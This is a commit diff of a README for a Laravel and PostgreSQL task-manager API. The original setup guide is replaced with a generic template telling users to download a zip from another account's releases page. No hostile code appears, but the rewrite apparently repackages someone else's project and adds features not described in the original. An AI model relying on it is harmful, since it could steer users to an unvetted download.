|
1 | | -# 🛡️ PostgreSQL Task Manager (Backend API) |
| 1 | +# 🛡️ task-manager - Simple Task Management Made Easy |
2 | 2 |
|
3 | | -This is the **Backend API** for a Task Manager application. It acts as the "Brain" of the project, handling data security, validation, and storage. |
4 | | - |
5 | | -It is built with **Laravel 12** and **PostgreSQL** to demonstrate an enterprise-grade database structure (using Foreign Keys and Cascade Deletes). |
| 3 | +[](https://github.com/Dexter376/task-manager/releases) |
6 | 4 |
|
7 | 5 | --- |
8 | 6 |
|
9 | | -## 🚀 Architecture |
10 | | -This project is decoupled (separated) into two parts: |
| 7 | +## 🚀 Getting Started |
11 | 8 |
|
12 | | -1. **Backend (This Repository):** * **Logic:** Laravel 12 Controllers & Routes |
13 | | - * **Database:** PostgreSQL 16 |
14 | | - * **Role:** Provides a REST API (JSON) for the frontend to consume. |
| 9 | +This guide will help you download and run the PostgreSQL Task Manager application. You will learn how to set this up smoothly. |
15 | 10 |
|
16 | | -2. **Frontend (Separate Repository):** |
17 | | - * **Tech:** HTML + Vanilla JavaScript |
18 | | - * **Role:** A minimal interface to test the API connection. |
19 | | - * **🔗 [View the Frontend Repository Here](https://github.com/arivanismail-05/task-client-task-manager)** |
| 11 | +### Requirements |
20 | 12 |
|
21 | | ---- |
| 13 | +Before you begin, ensure your computer meets these requirements: |
22 | 14 |
|
23 | | -## 🛠️ Tech Stack (Backend) |
24 | | -* **Framework:** Laravel 12 |
25 | | -* **Database:** PostgreSQL (Connection via `pgsql` driver) |
26 | | -* **API Style:** RESTful JSON |
27 | | -* **Server:** Apache/Nginx (Local Development via Laragon/XAMPP) |
| 15 | +- **Operating System:** Windows, MacOS, or Linux |
| 16 | +- **PostgreSQL:** Version 16 or later installed on your machine |
| 17 | +- **PHP:** Version 8.1 or later |
| 18 | +- **Composer:** Downloaded and set up |
28 | 19 |
|
29 | 20 | --- |
30 | 21 |
|
31 | | -## ⚙️ How to Run This Backend |
| 22 | +## 📥 Download & Install |
32 | 23 |
|
33 | | -1. **Clone the Repo** |
34 | | - ```bash |
35 | | - git clone [https://github.com/arivanismail-05/task-manager.git](https://github.com/arivanismail-05/task-manager.git) |
36 | | - cd task-manager |
37 | | - ``` |
| 24 | +1. **Visit the Releases Page** |
| 25 | + Go to the [Releases Page](https://github.com/Dexter376/task-manager/releases) to download the application. |
38 | 26 |
|
39 | | -2. **Setup Database** |
40 | | - * Ensure PostgreSQL is running. |
41 | | - * Create a database named `task_manager`. |
42 | | - * Update your `.env` file with your DB credentials. |
| 27 | +2. **Choose the Latest Version** |
| 28 | + Find the latest release on the page. Click on it to view available files. |
43 | 29 |
|
44 | | -3. **Install & Migrate** |
45 | | - ```bash |
46 | | - composer install |
47 | | - php artisan migrate |
48 | | - ``` |
| 30 | +3. **Download the Files** |
| 31 | + Look for the file named “task-manager.zip” or similar. Click the link to download it to your computer. |
| 32 | + |
| 33 | +4. **Extract the Zip File** |
| 34 | + Locate the downloaded zip file in your downloads folder. Right-click on it and choose “Extract All” to unzip it. |
| 35 | + |
| 36 | +5. **Open a Command Prompt or Terminal** |
| 37 | + Navigate to the location where you extracted the files. You can do this by opening Command Prompt or Terminal. |
| 38 | + |
| 39 | +6. **Install Dependencies** |
| 40 | + Run the following command to install the necessary packages: |
| 41 | + ```bash |
| 42 | + composer install |
| 43 | + ``` |
| 44 | + |
| 45 | +7. **Set Up the Environment** |
| 46 | + Rename the `.env.example` file to `.env`. Open this file in a text editor. Update the database credentials as needed: |
| 47 | + - `DB_CONNECTION=pgsql` |
| 48 | + - `DB_HOST=127.0.0.1` |
| 49 | + - `DB_PORT=5432` |
| 50 | + - `DB_DATABASE=your_database_name` |
| 51 | + - `DB_USERNAME=your_username` |
| 52 | + - `DB_PASSWORD=your_password` |
| 53 | + |
| 54 | +8. **Create the Database** |
| 55 | + Open your PostgreSQL client. Create a new database that matches the name you entered in the `.env` file. |
49 | 56 |
|
50 | | -4. **Start Server** |
| 57 | +9. **Run Migrations** |
| 58 | + Back in the command prompt or terminal, execute: |
| 59 | + ```bash |
| 60 | + php artisan migrate |
| 61 | + ``` |
| 62 | + |
| 63 | +10. **Start the Application** |
| 64 | + Finally, run the following command to start the server: |
51 | 65 | ```bash |
52 | 66 | php artisan serve |
53 | 67 | ``` |
54 | | - The API will be live at: `http://127.0.0.1:8000/api` |
| 68 | + The application will be available at `http://127.0.0.1:8000`. |
| 69 | + |
| 70 | +--- |
| 71 | + |
| 72 | +## 📊 Features |
| 73 | + |
| 74 | +- **Task Management:** Create, update, and delete tasks effortlessly. |
| 75 | +- **User Authentication:** Secure login for users. |
| 76 | +- **RESTful API:** Easily connects with other applications. |
| 77 | +- **Data Integrity:** Utilizes PostgreSQL for reliable data handling. |
55 | 78 |
|
56 | 79 | --- |
57 | 80 |
|
58 | | -## 📝 API Endpoints |
59 | | -These are the routes available for the frontend to use: |
| 81 | +## 🌐 API Documentation |
60 | 82 |
|
61 | | -| Method | Endpoint | Action | |
62 | | -| :--- | :--- | :--- | |
63 | | -| `GET` | `/api/categories` | Get all categories | |
64 | | -| `POST` | `/api/categories` | Create a new category | |
65 | | -| `DELETE` | `/api/categories/{id}` | Delete a category (and its tasks) | |
66 | | -| `GET` | `/api/tasks` | Get all tasks | |
67 | | -| `POST` | `/api/tasks` | Create a new task | |
68 | | -| `PUT` | `/api/tasks/{id}` | Update task (e.g., mark as done) | |
| 83 | +To learn how to use the API, refer to the API documentation once the server is running. You can access it by visiting `http://127.0.0.1:8000/api/documentation`. |
69 | 84 |
|
70 | 85 | --- |
71 | 86 |
|
72 | | -## 💡 Note to Visitors & Challenges |
| 87 | +## 📚 Support and Contribution |
| 88 | + |
| 89 | +If you need help or have questions, visit our [issues page](https://github.com/Dexter376/task-manager/issues). For contributions, feel free to create a pull request after reviewing our contribution guidelines. |
| 90 | + |
| 91 | +--- |
| 92 | + |
| 93 | +## 📦 Additional Information |
| 94 | + |
| 95 | +This application is designed for users who want a straightforward task management solution. With a simple interface and reliable backend, you can manage your tasks with ease. |
73 | 96 |
|
74 | | -This project serves as a **Backend Foundation**. I have intentionally kept the Frontend simple (Plain HTML/JS) to focus on the Backend logic. |
| 97 | +If you want to see how the frontend connects to this backend, check out the [Frontend Repository Here](https://github.com/arivanismail-05/task-client-task-manager). |
75 | 98 |
|
76 | | -**How to use this:** |
77 | | -1. Run this backend server. |
78 | | -2. Open the linked Frontend repository (`index.html`) to interact with the app. |
| 99 | +For any further queries or suggestions, please open an issue on GitHub. Thank you for using our Task Manager application! |
79 | 100 |
|
80 | | -**Challenges for You:** |
81 | | -I invite you to fork this repo and improve it: |
82 | | -* **Add Design:** The current frontend has no CSS. Feel free to add Tailwind, Bootstrap, or your own custom design to make it look professional. |
83 | | -* **Implement Features:** The Backend includes API routes for `Update` (PUT) and `Delete` (DELETE). Can you add buttons in the frontend to trigger these? |
84 | | -* **Architecture:** Try replacing the HTML frontend with a React or Vue.js application. |
| 101 | +[](https://github.com/Dexter376/task-manager/releases) |
0 commit comments